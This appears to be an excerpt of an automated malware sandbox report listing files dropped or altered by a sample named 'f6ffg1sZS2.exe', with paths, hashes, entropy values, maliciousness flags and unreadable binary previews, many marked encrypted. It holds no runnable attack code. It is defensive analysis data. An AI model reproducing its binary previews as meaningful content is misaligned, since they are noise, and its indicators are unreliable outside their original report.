Preview:	[{"SyX.U....a..$.p.. ..... ..b..bHG`..YCW..J"c.(.Q.........6^.-.......,.....bQ...N..=..X..Oa...../b.u2?.kX.F....`is....."p..!.e.[.q.af...7^Y.u..s..~..~Z....CLZQ.........`..#VX.:.V.....y.iO?....Q._?.....R\|0G.b..k...$..........yT+'.........F..o..5...!\|U.H....!nIw..4QN......?Q./L..c7....^....\|...CD0P8.....4.H0.^..w.R...'.....~...V].....!...+Q~M.....A..b.....@.B..bY. O..Yh....?..9.x.....vAH...1..Z...h.z.S....[.3$..h.8.....5..k..<.......c...........-....w...6.8.R.+No.E..............C.'...Zm.....s{............a&::~E%..h)...M.P.a..In.O.S.1#bs;....z...~t.3..:b.....E..E.wc.....1..c..1..#U.gJ....s6`.I..k{..`B..}d......vi.H.....^.V.s?...:W1.......{l;....:......P.Is5.U.]-d#Q.'.G..E.B...(.<....CW...3........4fi.... ......yuO.uP...dR..L.....eUw....Uk.G=...\2h..o.Zb,RE......?d.....GR"..l..JP.....zB.....?..t;M.....g8.../H.g....H4.w\|.[.\|...U..N...M..9z".<..G..]..q.F..^..T...t.^..e..\.m/...~....*p.....K!.....5t..\?e..ZY_.....+...u..X...y.e&.....Sm..FF8q.#^.}.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133745238773483568.txt

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	115275
Entropy (8bit):	7.998502136402734
Encrypted:	true
SSDEEP:	3072:7m1pkLmRyg1IZ9ZJv1gYVYSa53by5UV8/vchR:6jkK91IZ1nmS+eUVuIR
MD5:	56A174C61FE744A811BC1CF76967850C
SHA1:	B9183348CBB8FCEB76C8127255EA5FFB2658D076
SHA-256:	836D98F2652369B8D5C762AEDC1CED66B7E43B8E57FB8C4CBF2DC739EFFB58E3
SHA-512:	C4F64570950183F883191661BB2A67F9A14AB70198D595307616D089B59ACB269468C0ED2DD85B9543C8004F07A478C12F36FA09994F9A1151EEE7EB3EFEEBE3
Malicious:	true
Preview:	[{"Sy.A....c...K..Q\|K..x.K.;.m..#..a...6......$..p......A+/G...i..B...W.A&k.M......g...oc.....5Z.4.dv=.Z\|[S@f...JJ`......./........D.vO~..3a.g.a..k.4.~Yz.O......qv.u...&........+s.?...............4...<Hv..........I.....r......u7..5....B\....7.d....H."..a4..\!(.$.d)6.a>.....y..(.B..^......j..,....z.[z..o;.\$..?..:.........FS..8.G..R...&kZ.=.FF.g.M.Bk>s....\....D]...W..../..O..w.z.I..Tq9......K..a]C...Y_6..Ik..Tb.7.....&...}...... R...7\|1n.nS"..;l..[.f;c......d.[../}w.[...RC......>#`h.({4.z .5.lh.2..D.6.}...G.W;F..,~.....1-@K.7.>.u.../7.e3..E.J.k\......V.Y.q..[.!r,..\h.....8.;+65.........kA.L.Z..w..6.1.........F..).E.h.<..B..]......U..Q...B...J.....F..;.}t.uw..2....}.6.....r.;I.....;.s\|.</C....*.ag.s).....4...>mP.8..!..4^..... p.....0-.....fp.~...7.?..?..49.gh.p 8.G....... I....xx.....X:...v..^l..Q.u...o=.t.U9...uq..w+..Rc.R....O.m.......@-"..0G.i.F..R..?+.).m@...].;b...Q....e.?...........3b~....?&>\|c_..J.Q.^8.F@........Z?L;.G.^.@..W

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\SettingsCache.txt

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	696930
Entropy (8bit):	6.209867283678485
Encrypted:	false
SSDEEP:	6144:+oqmuxPUsaPZNotrGX8YzlDKLJTKiAHv5vWotdxls+FkuMOCc5MpzgroTDL77KeF:X6axSJGOoGotdYuMOCc5MpzgroTDLgs
MD5:	574013F43A1293A921BF97A2276F76CC
SHA1:	1BC7FA7E60B52149359F3B9AF659081E002017BD
SHA-256:	2949E14DA406370F01D1137353C91CFBB9A105E9AC9C38E116B6DCCCBD8B054F
SHA-512:	EE84574E16F35F8BF09A1D7FA7936CE9A5017D27FBF44EDC30DFCDFAAED6A6B570524C2DCE001654C3A32864368DBDCE574813F2BDB7BA7184962FDB008826AA
Malicious:	true
Preview:	[{"Sy.........>.h....Jk8..}..P..$V.f.....Q.{..O...q.3.'iE_......H.T...{X...W._ho.f...i..N.K..w..ig....3..\|J.>.......L-.o......C.Q.g>.....D..n.-...A....TXdN....^`,.[...:.QS.l..e.N...m..A&.O..^&....)XQ..N....?.?.X.WH./.I]O.:..Cl./!...........o...BG.nn.$.)..ro.=..p..G.&.s..&G....9..\|....;..vIw......%.X...V..T....HC.O@.....\|Y..M..D.x>b.n.g^-.......e..........J.HOi...u.H...`@iA.}.x./..../.:X:...p8.Dr...1.,....N..8#."...2.\|."...p.l...6....B.^....w.H..D....-..M..\.'.].<US...v.s.V:..pw.]F.{.\|umf.i.(..+.).....".):..)..M...;.ucM.ep.[^.....fM.!.#...w..Q..&.3.7S...b...J..&.'.?.........uM.G....-..n.~....t/Vh..7..M.cb..P3,....2....g....M......N=+..<.=5x......K..\|.v.W...`-dr..L'.Q2.BE...n[.."..A$.0..{..y.Qu..........~....$H.'...2#.6...Crd..<[Cx..ox..v........=.Q...=...lr.H.......2x.d.(;.p+,.2.R..\..D...=....C.....etgU1fy......)..9.!.Q..<......g.'..V...h..VM...1bKj....C&...9..NIV....b!C..:.5k...+D...7..\m..9rD:c../BeI.a<....;..O....'.=p-.....

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ShellFeeds\GLEAM-DARK.svg

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	7458
Entropy (8bit):	7.972941043332137
Encrypted:	false
SSDEEP:	96:TZQXc2AtKuxH7KYzrWDrgyFV0N50kOwNpTK+PgHx2U/eMlHKbjEm8AcMr2F0mPP:TZQXN0K0mYzrWDxPW7K2U/puwmrrm3
MD5:	6E85AB0576E75BF90D016CFEAEA3C585
SHA1:	0755C9E3028C0937A9C08E78971200C315077226
SHA-256:	A6040DF5B84A3FC1F85E3F46E905742C6C5D6CC2350CAFD8E9EB21A53545AE51
SHA-512:	BBCBA92A440B067984DF2C057B40DABED247FF7F5B83E9C2F7D1E0C8FD1DD6EDE37B76089F7E4643E60A8D54CEE78AD68816F07D7767FB3E5D3379E5663C57B4
Malicious:	false
Preview:	<svg .M ..@4X..=y.......G.....~a.:..pF...oq...ZiD.^S.<.......b.. ..3.Z....U.3....,..q.n.~.\|...7!..:..2..E~%....\|..t...~.Pi,.X&...s7......s.Qm..A...~.p.H.3..R.....#G..5....f.E...b.fR.......U..........J.e...>.!...".......,....L.....u..<-.D@..d../.1..4.Y9.!.&M.F\|....jt~q.r]X..[hA.F.i.i.$v.w`.G..)..>.>.1..B..3..5...K.c.[.O4.z.%.^.]..i....z.oS...3.h....b.u........1Ez\|/....q...\.....51#.c...P.f...~..K)..b.<... VXo../...\|.....b....<.3.....fC.......\bCQ.^..4.wy..NXD4n&......x.6[.Vl.....1..z.5..>..@.KC....Vd........2..o.OM..B3.r..........`.....]5.PW...f.~D....gU.!....08..T.X...#-.5.W0_q./...4..~..h.v.;.L.....%...~.H.n...{..bP.7./iJg.2=.......Q....A.J....Yfyz..g...W.D...m%... l..s......4.....6ps....%rVp...=.J.@<e.....I3x&.._...3..~..I...\|..V...@s.Q+k..'.`Y....%..c).......E.G@....Y..F..g.)r{?mt%O...pE..6sR..,..v...."=.:6.k...?..;!...G.<...Q,....?.7S..X\Z.\|......om...r.R)}..e1zd....G..t!D.E..f.v...L........"y1'..5........4Q...A...n.Q....}.m.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ShellFeeds\GLEAM-LIGHT.svg

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	6854
Entropy (8bit):	7.969343243794925
Encrypted:	false
SSDEEP:	192:vzQz4EAfxPNwXt5NLaK44TeNIK0raLJKw2uC8gS9:vzQwfcjNQ4KNA+LE7S9
MD5:	367396DEEC679C29FD0A25E47B2E0BF8
SHA1:	B2E25553094DA2E199DC48D548C7B5F4856AEA16
SHA-256:	06D27B3AA40AB35FD40E44D8B0C9CBC881B6FAEA8342EC88401215614A43D75A
SHA-512:	03CF71B0C173FB6D7591468F2FF647582E61792DEDC61E01A43BAB47BACA696ABCCDD221C567C495FA3ABBAED07DC1016C148DA50AE2CEE20C8F92DC39E3B534
Malicious:	false
Preview:	<svg ........]UZ..`...Z..{.....@.g&I.~.f$.Xr...9.7.`..i:6..h....;koi\...p.K.N....9.;...WQ"......8Y^...p..=s....h<.'b6H.[.....r.....&...bt.....M..q..5.h11....j7......]....D/e...DX\.VC.........<.....'..^.e..[$.7.U<VP ..^.Ud...x....I........h8...vs5...c.p.S..'".k...UC".~<.2r7........GG....F................2#v.>=.....A......t.......=....J?."...JD"..Q)..j.g.Uz..." ..'..y...0.]......X...8..G.Li....<....!.5M.,7.i.Rhr.9...K.}..\|.R\|.<w.......q. .S9.X.....I#.....z...9x...]4mn../.[.o...=R....w.\|..RG..b"@...jo...!F~<....H#R...2.{0oa=...XU\..Kwy}..-...'c.."....G... .Y.....}_..#......jhL...6r. ."-.B...b.h?.uwn....k:.b.fbxS..p...<d.%.Rv.0x.&@....Y.d.{...Jy..%.On..'...d.a%.!(..}.^]..<j\..)....#.....`d!..$.#...e.1:w<.f...5..x.5.H.y..XG..K.:...!3..+r:o}...x...E]..7;)k..RQ"...f.....]&..#o.\|......%5.6^...I..8..lo.3..?...t8.kPd...0.....Os.w.......@.6..$E..XMwK;.VQ.g..K5..X.e`..<........g....`..9h.9...B.._.w....x.c7G.k..Qeif ....fEST...C.Ki.r},r7..l....=..g.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ShellFeeds\IDX_CONTENT_TASKBARHEADLINES.json

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	149024
Entropy (8bit):	7.998578181043217
Encrypted:	true
SSDEEP:	3072:xeal5bS3ShPUp005L+YaHB6jRhDWF8TDIoQBBqvEBRAsPV4/4X:m3ShK005LXaUZiUoimRAmv
MD5:	BC02FA9C1BA2520FCD85354C645A87B6
SHA1:	E08FE844987C672C66A9A7DDF1B254D10B504B3C
SHA-256:	C2BCADD54FFADF7858FF8A82D04758AA04D26CA012BB7EB097B6DDC1FC7CD417
SHA-512:	7BAA5152183DC888FD9645BA40AF917BBE499F8CB243B0634C3BA10E661CC0C84E0913D1B9F2886205302B1FAC64D40FE9413743C9C063597930B6C24BB943F4
Malicious:	true
Preview:	{"locG...\k......~...h..9.....\n.K.;....z..n...f......]......\..sm....9k...u.=."3...g$Ld...U.SD.Q.^...b.<u"......../.....-a.Y..........S....,.q ....LQ.............B....0O.mzZ.H....,X..f_....&..\|.3N......4.G.T..'7..6{.j.$-...'..z.Z....!.z..2.....N..<......f.tP...5.$nw..Q...1..&h.O..+...O....[_....%>.F.;[C.\|.(.=...sz...ZHp...@.K.....j(......../.i19............u5.....<..}p...E...K...'.._R.... &........`U."..;,C...1...&9G..j).p...[....[.uL...w....S.(O.L.4..;y..f%/.+..8........I81.i....9D.....-..@T.....?p$.N....P..p.4S.H..iW.P[.....G.........Q=O.zm..;o7,.#....c~../E....7q9.43b]..z.4..u..rW.^6..L....`.P..Q..",......M{r..+.w.....j.,$.r.......M.J.v.*.sfT....mc.$..O.c&.....1...D....H`ii..&2...L.7.V.;....D........]...A....x..C`.c...We...]W.......^DVVv.+"........m..$.8}.K:\".I.{;M .DF... ..E....~.D.Q..,.q._U...h[...o7..`Z...I4@.Y...a..4..7%E.....Z..p.....]B......@H...k..t}.G?_.Kz\|54...W..ZS......K.QM......K..~.9h.n..b..Q..j.L..K..2....'G.WP..

C:\Users\user\AppData\Local\Packages\Microsoft.WindowsAlarms_8wekyb3d8bbwe\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.975083433610139
Encrypted:	false
SSDEEP:	192:9g1cG6b8Lfp7Cwx4T6yTwnl/5URsJPJeEXmcHgtbgid:9gSxwN7TII/57JtXm0gbX
MD5:	012560937B36189BCE86F7CBF182BDEC
SHA1:	37BE8DAA8F32156E3F564123EAF15E9DADB8284B
SHA-256:	2170639BBD6B23122FE42A20F7F9E289F1FB1AC72DED4B118429B4D0D32BA2CF
SHA-512:	21E4EE385D1E0016AF28E16F13F769CB47ADC50D156C8FF6EF8AB45F40392EEC93F155257892B4E5115D305669A3D2B9978FDF1C8BA0409A75399A1EB1E8C3DC
Malicious:	false
Preview:	regf..C...a.....f....#..S<!......../aZ...K...'q."e..`.....:.........^M...r`...8..j.mb.....lV_..DP. .....4..$\...c.._.a.%c....7.9..Z.`.@ ..a...I...[..T.r.......]=..:......b.._.b.W..c:.I-.O..S.].....q......L...9..N.)n..W..h.....8...._&}S}....eJ.r."...jN.}?.N..U....U.\|.....9......`O.&.~........k......`k.q..J..+.aG.GsK..H......X.'...Z..(s.Sr....4...a.....d..'..;"Eh.({..&..o.._.L.t.....a6.1..?<."tX#...WO..+.@..../......G.1.$..W.3K.\i.....z.%P..M..!?...Il...c......PC...B..F...4.$..2o#..N....L.M.c.H))R2....o...~3....a....8../:t.W+.s[tsj....N...:..\|;H=..R'1<5ro.U<..0!....l.%..N....$).D.A#..h.l.v9.....+Z.U82......$p.q?..5..P...#..f..&c.B.....RzE ........oM....T d.eB~M.j.5....i!p.}D[...ak.O...........r.......6...Y.+;..\|J..U.NO;....C.......-\N^.J.`.1..._.,......Q./............/..1!a.....T..B...z_F...2.,B.U..Bf.#..!.B\|.&.{...)%J-.4t...+..........].."T.4.){..!Z..-.i..VCg.o....g...0.....oXT.j....l......w.~4..e....U..A5I....F&...7.Fx;......D.

C:\Users\user\AppData\Local\Packages\Microsoft.WindowsAlarms_8wekyb3d8bbwe\Settings\settings.dat.LOG1

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.981053265114848
Encrypted:	false
SSDEEP:	192:+xOTdARcJYZ79b01Go6wcHAAx4TBs1+HHLKofYcMJ4deRx6wq8rHy:+OTaailUFH3AGe+Hxr09rS
MD5:	FFAF9A352A7E0CBF13947BA30BD49567
SHA1:	59597274A5B9ED4120764653BEF77E7BD04015E2
SHA-256:	29D114E0044D2119FE545B15619CDD1F40D39433B582FE01664B88DB162CB4B0
SHA-512:	2C57BA62B474D6E8BCC3C65352E19273E487D77DF683A2DACBAA298E5798DB15F4EDC76D0C1744FBA20D66AC73C5AC7C0A981961FEE2F205D9B0232B0C53E262
Malicious:	false
Preview:	regf......Q..I5...8....{[..i@.k....C...mh-Dh.m.....nm.b9......c.8..d.....~...Cy\|........... V...B.7.e.`1.h...T.......V.Oo1.V..\...y. .I.....)....j'........'..f.....>"6...>.m.......7...o;..._.L....=l...^P..c.';..g.E.Y..6.H..`+.=....Fu...m.9.....!H5...AK.............L.'.6.\|kf...R...CH{:.....mg....8....x.=.....CU..,4..h..P...n.)"...Dn.`.....T.:.....vg\K'\.c#/:a.'}....=.d}]H......@\....W_..q}q14.@..M..=.6. ..M.PgI.B-..=\.r...4......]....W[...`..T.)F...9\C..;...Z..#...JJ;.jF..).#$...........c...w.....f..Bb./?...Rvm..y.g:..Z...zw1.n.pqSh.s.#..I..OO.h<..[...!"P>.Z.v='...a^.t5.`...f.......D..$....vL[..F.A...x..k.b.;,.`.U>.6.H..h.<....G..'K..2....6.R..m.T..c..<nc..AW..K....'..U.u^.\|^..RF..-<I.....@...N...R .....:PVK..`.fo+.P..g17..^..../..`.b.u.r..H:.K.F#._.;...c...J.it.).....i.I.J......5.......R....^z.vw..fA....*#..Q..Oa...W.M....... ^.c.&'.M^..p..2..Q..3tR.fjs.]..G...'T.o1k5.........g\|.....X. .EA.......Y.U...-l.....zx.........IB....lC.A

C:\Users\user\AppData\Local\Packages\Microsoft.XboxGameOverlay_8wekyb3d8bbwe\LocalState\DiagOutputDir\LogFile_October_3_2023__13_9_20.txt

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	615
Entropy (8bit):	7.600248232507659
Encrypted:	false
SSDEEP:	12:c1TErK2KR6F7jQHF8TOOUQbKMvfPGrIEN69NhSHS2cii9a:c1uKkFoHF8KpKfPW589PSXbD
MD5:	7BF42D2F375A064B792AA4F12D7E9D12
SHA1:	1E63997C985B057960150425C85751FB1614BDE7
SHA-256:	215AF1F461C2EE622E8D847FBA7F8B594E697C9472C203524CFED33987C712F9
SHA-512:	9B6D789B8DEBFB539FA3D3E030A96E5ED40189A93CF78616475ED59A42E94920F0EA7FEBFFDDE9C93A9615C83AAAAD72A905101EB9122F265777C2E0A759C8E4
Malicious:	false
Preview:	[000:......wq.@.(~E-BM.....j.....q]..k..e.@..R.....U.HGg...U...%...1....[.PA..x.....k.0.\|...8.`.Te.%.#.I.T..dEd<.s.^..P...<W...8...U..x.TC....%V..%.K.H..R..-9..V..A.^.)..c...Of.......32...........N..>.\|...........>..E...Y...I+e.P...........~jA.`..KY9;........E.2..%..5.Qc.^.%J......,.........q../.....$..>Hw..n..!G.@.......b.u8U...\|..t..WX.........)...h...qF....qd......8l...gCk78...T..GN..k..xy.b...v...4$.@5U.i..)..%^.O..[[kB.u.n......`...Z....8pM.....U....oe.>2.....B..&%.z.....c..#`~5%.C0.LP....d;...yX..[LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	8547662
Entropy (8bit):	5.205117097764589
Encrypted:	false
SSDEEP:	49152:uIU38OPKW0ANge+q80Ibxh0T4tI6lIfKi5YJj1PKu1ZKKOF:nSF1qd/LKNF
MD5:	9B8B577209CE2639F1A36EEF1A0FCAC6
SHA1:	FBF3877461047DDDA39736C14C45790F22F1B960
SHA-256:	215834C529DCAB31ACA79708B25F26C30E422B7212F9F90B5EB4BCD48ED4A4E5
SHA-512:	620230785E35B9DDC1181A7F8414B1B90F2A4BBB3C262E4B9E91DE5E30660F7706BFE78F87096FBC61478E9310E86402F57A695DEAD7E66601899C5FE78E7A67
Malicious:	false
Preview:	Micro...03....\h(.[.y..i...1..\...u.a.$L.L..z.%.".......u%uSU:....L.p...4...4.~#.t.6...~.]U.d.h...@<.kU......s<.k.r&...I...=..b.g.L[A......s]us.@..J...{.Z..uW.{.....S.D.=.c.t.9.jV..5..#\|...._.....F.....C..?H.../.s.._.l.0....,.....ghpx...H.P...m..p..`..8......}.....q.y...........:.U.......H.........._9.3....F..W.`..-.e...H.D.-....Uk!..:.>...G4."........p....v#......6w8 .#.R.)...f....X...E.y..m....f.... .T.-...U..lU.....).'....R..5....g.........3(..>...<........!X.....NW....{]>{.C..S...%.......y..+......}....XW.g...k.N\.84:......{..o\Dp...ul.&].........C.lNm[..1.ch.F..i4..............$.."....x5......{R+...Ev...u.0.........$...\|"K.4)-..+..a.K....f.3/........4.F...X2Z.L#z......\|a..!....}=6..(=.&>..be..4.y..&3.bWvzwB..^.....j...>.o'.Z?..#\|.U..7Z...xR:.w.7.q.xW#..:...M..\..^.... .#.J...l...V.......F....<...?JL...@...,.......e....w=...}.&t...../%...N..S.vC...xx...}..P.._.G$.[.Q.:....I!......d.....N.a6G;........a..NYK......Jm......4..

C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	8547662
Entropy (8bit):	5.205089673615219
Encrypted:	false
SSDEEP:	49152:OJ4eAv38OPKW0ANge+q80Ibxh0T4tI6lIfKi5YJj1PKu1ZKKOu:/F1qd/LKNu
MD5:	0A889219EC1122555EB5A1D4F93FC929
SHA1:	E844906EAA76BB2721F50356ED07079FF22EF558
SHA-256:	C2C56161C74B5EFF2CFC981DC4003429D432C2CBC59CF29FB8006410CE9DCDEF
SHA-512:	3355AD5EA3ECF9C28DC6215BDC39EF52509B0D7C0A68FC043D76FA4D960E4358A5A4EFF279626DD6CFC54F1A3A5066314010F160CCD163DC0A24386A7FCF2969
Malicious:	false
Preview:	Micro:.\|..&...<_..+......`....$..O.M.){.zR...}.z....\|C._{f..a..j.[..kk......o......a.&._.^......+....z..R...g../....v..ZA.=.?..2.9......z.>.....(.HA/.....4......F@...Z.Q6i.cQw1.d.?.qP.q.S......z.o.V..\.'>\t......DP`1.9.......`....k.Q........2.2M@W.....7G.k...m.[.......i;f..X.)......j..h....g.G...........X0Y..e.]....E.9Y!\'...cbT..:3...2.....,?]....G(..9W.+.Pk..")D..>.....^..j~.../..I..n.8%.+....65.....\|3.\|.k....}M.L.?....#......%...!z.b#..Y..}.O....D......W..z..... .....`.m...B.%.Q..7].....o.z..o.)...Bs#.E..G.b./..QwyP........7.JW..].....*....qY\./.Hwp.$.......a..\|.%e.D..k.).......Gy.@..P.......9.\..q..w.-.Th... .#Q......h.9.{.3.\:X0.\&..6n....AF.U.d.~+;...Yr..p....m..../~.F.......(..Q....&.X]7.EL...u..~...C...IJ.k(.-.w...4,&'..T..#..4.3...D..4.........A...l...[.C&...u..k.... }.K..vj....b..\-I......E.)..w......%.....a<..O.7l...V......lI+."....yX...t.....C.v............{....{.\|c..5..B\:.....[...e...J..%...p...%.{Ci>N++.T.t..=.-..W....}....^....o

C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1192270
Entropy (8bit):	5.662630328764099
Encrypted:	false
SSDEEP:	12288:A2dNE+Hkv9JQ4aKVmaS4aMz8Pg3lxJo2cvXtn:A2TE+Hkv9BaKVzaYcAqtn
MD5:	E13C586A2A1BD61D69FB13D6A555F69C
SHA1:	5CA60853087EE2E7ADE9441E1FEDF9C6AA76C1D0
SHA-256:	1377BF755BC08F34EDD397112B49EE79A973267A5E97532D47561671486A3142
SHA-512:	683BFD4476589901DBCC2887C059092862866163B32E3FBE02F34F10752FCBB4374D106FCBFBCFC39CDF498C0152623285667FA3A31E6D85C5B1914F0111B6CE
Malicious:	false
Preview:	Micro./..)...G.x?(..zi,..gy.].-..I.....J.J....^E......D......HE..<..h..D..T....r....&..F...............g.u.p....$)#.f.E...Qk..~`\|U.T2....+.]82.`.....9..,n.k3m[\..}....2.Q.#8N.V.2.8.P....\|..HN....r..#.#.1.i...g...P_...k;.y.2~.....3.]... }.,^I_.!....K..........!r......L.#.....d(.BG....0Z.1.o.p.s....`.6..c.y.....H.......Y....~.K.r...`.a.5B...D.._o.h.}.G..W...JH...\Ts...c.....qw..F.@.#.NHs...n...47.ye...^../...g..c.\.q.6DZu......Xv.......a\.8..x..Z:.e.f.e3.:9... .......5t..d.......<t$j.T....:...D........,..D.B2...3.o..pW...ui..8.oq...e.`.`....".hUj..#.%.cVR.t,u1...(f.;...}..$......Jt...y.).u$.\|.....<Q<U.....#:+.......G-..NceH...W/.TW.cZ;.........x...i(...)........xK..x..Tt..._^....(.^.37.D......9l..........`...W.K....b.Py.....t.....i1/6VO..B.d.._p..]..........`h........Uhk~.........X..n.B?..".=.x.=o.<..9...5.!p*..3.h4.....O..+..`..2L..]_?.....z[...q...p^...V.r.GgVq..6?..q....%o.........d..$h......m.T....._..M..;.f....Z..H...A.~.......b.....7y.?.RR

C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1192270
Entropy (8bit):	5.661918532699345
Encrypted:	false
SSDEEP:	12288:XHDlKAFxhdJQ4aKVmaS4aMz8Pg3lxJo2cvXt6:3AO5BaKVzaYcAqt6
MD5:	FF954A4499E01C1CF39B97AA00A8117F
SHA1:	6FA81ABE9E3F96DF4A123532A69B9EBDE6A61B63
SHA-256:	9A0E42AC474AC1A5506C315615A5A4A3FC00DD3DBB57908128AD2882CF152F7A
SHA-512:	C397E0F8A369436482DEB75B83A383525139E6361CEE0E5D18C0B0D0C8639625E1AFDC25F20E235579F77EEADB0458152E0A88977D30B01401655F71E44480D8
Malicious:	false
Preview:	Micro...UI?`B.....'.3.......$.<.xT.....[R..u..V.hd.#I..Z..N.W.[.../.3..c...~.l........`7Z] ..i...Y..l.Y.mQ......X>r.q..[A..!....\|1.V...xx.m/.....?.s.d%Ks.....J....[v..Q.j&'.<....E. ..$...7......N{..\..b..h........p\...iq....n.....4..&W.h...nq..> ..i.l.2.-..9Y...4...T.sJF..@T.ye.&...bW#.....c.>..............C.$.$.>.qE.......J.........=....}. .9...gK+[i1..].A........T.8J.sv..H. .n2....6%...(Q.......y..l.....lZ..J...z...g.$..5N."57.(:.e.......B.z...O!.i....]cm...\..c.....^,.h4.....x.........t..8s@G..~?..4".(;.p7......I.....+{.p.....[.'t...`...f.Ji..b.H....)...JH...nK.y..7v.`...Z.gJ(.......#..cG..wUE.a..6...1.J.b.Y,.K..G;.......i..p$l.5.{..y.".,.$.d.....@.......VrM[.G..5U.Mh.xG`yy.N.-K....L. ).).........w..QXl.........r...B..]..../.7.:0.z....]....!F..b.Jc.....>..(.7.B.&.<X...\|B.$..q.....i.3...6.I.Q@.ts.d3..G.................a1...LBx.&.c...}....7.K......c.z.O.\0<..u...$t..^....E..8..8.....=(.A.....X+..\|..b!......<.vn.)..4AE?L.)n...j.

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	24210
Entropy (8bit):	7.992633941603898
Encrypted:	true
SSDEEP:	384:wsk95tGGPDJky4Cesa5cxumFjOB08ICHrLZ8Zn4zFGdLgsgAF9P5JSEsY9nMpwMp:piD+y4Ga5ocBlHSZ4zFGdLrgC9PP5lz+
MD5:	62A16A1D077F9BA0273E28F1003256F2
SHA1:	521D7FAF100C423C7D5B6FCEA2A80A1931FD1CAE
SHA-256:	521F4E8BC1817BEB135EA460C7767F7BD24BE4A6CC33332A150C294404AA8997
SHA-512:	B58DBE3BED069ED9ABA0E25EC6E44B32ABCBF790E7705F3AE04C259FE991206F9A0722A1D6484E0DAE019FAC541D11E2FF462102A3492C221E18814C840C51AC
Malicious:	true
Preview:	03-10..$.K.\|....e..o..n. )-..qy..x.$l........f...vA...?&..........)oCX...`..C.K[....=.pa...u.H.V.W.1..f.8Ta.`.5...\|...QCSM...ri-..bN..o.w_...l....\|=[ `......"..#.Es.....<..-0..a...%..{...q.....&....(......o..<IR0IZ4.Tp.0u...T[.U.].:.!d7..\|uVk....\.-:.n........I....a..q.......k@..G-....0u.........N.G......l6...(1{.8@s..h..../z...P.$!hv<..$w..j... .M.:......,..^c...R5..'.c.A......f......$...`...%.T.d.$....._."./..I.......{....R.?O...3..ay.:35......F.O..M6(..;X.s.p..4....s......q....!+R4.<.5.K.;\.$.!.%.R.w.x...6..WD3n...}at\.C......-..S..#..Of..Z.I[>..q..@..."<.ja.......k.........U..C9.90.l.B` ..b..._.\|....,8.....c#...@.T.....-.jd.\..d.\|}e4...=.9J....I..q.../q.\..../<d."....u....T...#..l...5..p...).?#.?G.QF.J.{....g..EXj...e.<..8z.$..:.......uF.tVz}F.p.0.8o'u!....S.a.H.;QT....1...zt...6..U3./.3.$......DVk.A.4. .wq.B6.&3dr`....j.q..g2.....wbG......yyY.U.4........7.y..i.8.md.)..K.\/.G........@......=)....N.f.....wD..SmT.<2./e.. .Fe.a

C:\Users\user\AppData\Local\Temp\wctEA40.tmp

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	74540
Entropy (8bit):	7.997297803369905
Encrypted:	true
SSDEEP:	1536:oYZRa4Fo+q0kk3r3WNodashyDFY+Q+pHaIvWGRa/vB8B2AX9CgK:fZY4m+q0kk3r3VashyDI8aI+GRIp8BnG
MD5:	4F181800F09D64124408B3B039D2E98E
SHA1:	319D8C5BAD6D066D2FE86FB4ECE99BF74152F665
SHA-256:	7896CF1A7BE88C08CA49A354385F1EC38157F1A4E9D616CEC2B75103EE0AE368
SHA-512:	EC009F5D2FAB23B10B7AA1B1E4F41647EC82B31E5420CD543BE49567DFEF0EB70615451D565247053EDB10EEEEC0B6D8E0C3F35B1308AB3EC5AC08CCF1F908FD
Malicious:	false
